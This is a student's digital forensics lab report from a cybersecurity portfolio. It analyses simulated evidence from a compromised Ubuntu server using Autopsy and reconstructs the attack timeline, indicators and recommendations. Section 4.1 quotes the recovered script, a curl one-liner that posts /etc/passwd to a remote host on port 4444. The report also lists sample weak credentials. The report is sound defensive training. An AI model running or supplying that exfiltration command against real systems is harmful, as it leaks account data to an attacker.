Digital Forensics Investigation Report

Case: WK10-FORENSICS-001

Cybersecurity Pre-Master's Portfolio — Week 10

Field	Details
Case Number	WK10-FORENSICS-001
Investigator	Ruben
Date of Investigation	March 10, 2026
Tool Used	Autopsy Digital Forensics Platform
Evidence Source	Ubuntu Server 24.04 LTS (192.168.0.89)
Classification	Simulated — Educational Lab Environment

1. Executive Summary

This report documents a digital forensics investigation conducted as part of a structured cybersecurity pre-master's portfolio program. The investigation focused on analyzing evidence files recovered from a simulated compromised Ubuntu Server, using Autopsy as the primary forensic analysis platform.

Analysis of the recovered evidence revealed a complete attacker kill chain: a bash-based exfiltration script, a log file confirming successful data exfiltration to a command-and-control (C2) server, a harvested credentials file, and a financial communication note. Together, these artifacts paint a clear picture of a targeted intrusion with data theft and potential financial fraud implications.

2. Scope and Objectives

2.1 Objectives

- Recover and analyze digital artifacts from a simulated compromised system
- Identify attacker tools, techniques, and procedures (TTPs)
- Reconstruct the attack timeline from available evidence
- Document findings in a format suitable for professional reporting

2.2 Lab Environment

Component	Details
Target System	Ubuntu Server 24.04 LTS — 192.168.0.89
Forensics Workstation	Windows Host (VirtualBox environment)
Analysis Tool	Autopsy (latest stable)
Evidence Collection Method	Logical file copy via SCP
Evidence Location	C:\forensics-evidence\

2.3 Methodology Note

In an ideal forensic scenario, evidence would be collected from a bit-for-bit disk image to preserve deleted files, metadata, and slack space without modifying the original evidence. Due to lab environment constraints (VirtualBox forensic imaging unavailability), evidence files were copied directly from the live system using SCP and loaded into Autopsy as a Logical File Set. This approach is valid for file content analysis, though it does not preserve disk-level artifacts such as unallocated space or MFT records.

3. Evidence Inventory

File	Type	Description
malware.sh	Bash Script	Exfiltration script using curl to exfiltrate /etc/passwd to C2
exfil.log	Log File	C2 session log — timestamps, files sent, session details
creds.txt	Text File	Harvested credentials — username:password pairs
deleted_note.txt	Text File	Financial communication referencing bank account transfer

4. Forensic Findings

4.1 Exfiltration Script (malware.sh)

A bash script was recovered that functions as a data exfiltration tool. The script uses the curl utility to make an HTTP POST request to a remote C2 server, embedding the contents of the system's /etc/passwd file as the request body.

Key indicators:

- Shebang line confirms execution as a bash shell script

- curl with the -s flag (silent mode) suppresses output to avoid detection
- Target C2 address: 192.168.1.100 on port 4444 — a common reverse shell port
- $(cat /etc/passwd) subshell command reads and exfiltrates the password file inline

Script content (as recovered from Autopsy):

```
#!/bin/bash
# Exfiltration script
curl -s http://192.168.1.100:4444 -d "$(cat /etc/passwd)"
```

4.2 C2 Session Log (exfil.log)

A log file was recovered that records a completed C2 communication session. The log confirms that a connection was established to the same IP address referenced in malware.sh, and that two sensitive system files were successfully exfiltrated.

Timeline of events (UTC):

Timestamp	Event
2025-01-15 03:12:44	Connected to C2: 192.168.1.100:4444
2025-01-15 03:12:45	Sent /etc/passwd (2.1KB)
2025-01-15 03:12:46	Sent /etc/shadow (1.8KB)
2025-01-15 03:12:50	Session closed

Note: The exfiltration of /etc/shadow is particularly significant — this file contains hashed user passwords and is typically restricted to the root user. Its successful exfiltration implies the attacker had root-level access at the time of execution.

4.3 Harvested Credentials (creds.txt)

A plaintext credentials file was recovered containing three username/password pairs. The presence of this file indicates the attacker compiled a list of valid credentials, likely for use in lateral movement or persistence.

Username	Password	Account Type
admin	password123	Administrative account
root	toor	Superuser account
ruben	Welcome1	Standard user account

4.4 Deleted Communication Note (deleted_note.txt)

A text file was recovered that appears to be a communication note referencing a financial transaction. While simple in content, this type of artifact would be highly significant in a real investigation as it suggests financial motivation behind the intrusion.

```
Meeting with buyer on Friday. Transfer funds to account 4111-XXXX-XXXX-1234
```

4.5 Keyword Search Results

Autopsy keyword searches were performed to identify cross-file connections between artifacts:

Keyword	Files Hit	Significance
192.168.1.100	exfil.log, malware.sh	C2 IP corroborated across two independent files
curl	malware.sh	Exfiltration tool identified
passwd	malware.sh, exfil.log	Target file referenced in script and confirmed exfiltrated

5. Reconstructed Attack Timeline

Phase	Activity	Evidence
Initial Access	Attacker gained access to the Ubuntu Server	Presence of attacker tools on filesystem
Privilege Escalation	Root access obtained (/etc/shadow readable)	exfil.log — shadow file exfiltrated
Credential Harvesting	User credentials compiled into creds.txt	creds.txt recovered with 3 accounts
Exfiltration	malware.sh executed — /etc/passwd and /etc/shadow sent to C2	exfil.log timestamps: 03:12:44–03:12:50
Post-Compromise	Financial communication note created	deleted_note.txt recovered

6. Indicators of Compromise (IoCs)

Type	Value	Source
IP Address (C2)	192.168.1.100	malware.sh, exfil.log

Port	4444	malware.sh, exfil.log
File	malware.sh	Filesystem
File	creds.txt	Filesystem
Tool	curl (misused for exfiltration)	malware.sh
Account	admin, root, ruben	creds.txt

7. Conclusions and Recommendations

7.1 Conclusions

The forensic investigation successfully identified a complete attack chain on the simulated Ubuntu Server. The attacker demonstrated knowledge of Linux systems, used native tools (bash, curl) to avoid detection, and successfully exfiltrated sensitive system files including the shadow password database. The presence of a credentials file and financial note suggests both lateral movement capability and possible financial motivation.

7.2 Recommendations

- Block outbound connections to unknown IPs — particularly on non-standard ports such as 4444
- Implement file integrity monitoring (FIM) to detect creation of suspicious scripts
- Restrict read access to /etc/shadow strictly to root processes
- Audit sudo and su usage via auditd to detect privilege escalation
- Deploy a SIEM (as practiced in Week 7) to correlate events and generate alerts
- Conduct regular credential audits and enforce strong password policies

8. Lessons Learned

This investigation reinforced several key principles of digital forensics:

- Evidence correlation across multiple files is more reliable than any single artifact — the C2 IP appearing in both malware.sh and exfil.log significantly strengthens confidence in findings
- Keyword search in Autopsy is a powerful pivot technique for connecting disparate artifacts
- Even without a full disk image, logical file analysis yields meaningful forensic value — though disk imaging remains the gold standard for preserving all evidence

- Forensic findings directly inform incident response actions — this exercise connects naturally to the Week 8 NIST SP 800-61 incident response report

9. Tools and References

Tool / Reference	Purpose
Autopsy (The Sleuth Kit)	Primary forensic analysis platform
SCP (Secure Copy Protocol)	Evidence transfer from Ubuntu Server to analysis workstation
NIST SP 800-86	Guide to Integrating Forensic Techniques into Incident Response
Ubuntu Server 24.04 LTS	Target system (simulated compromised host)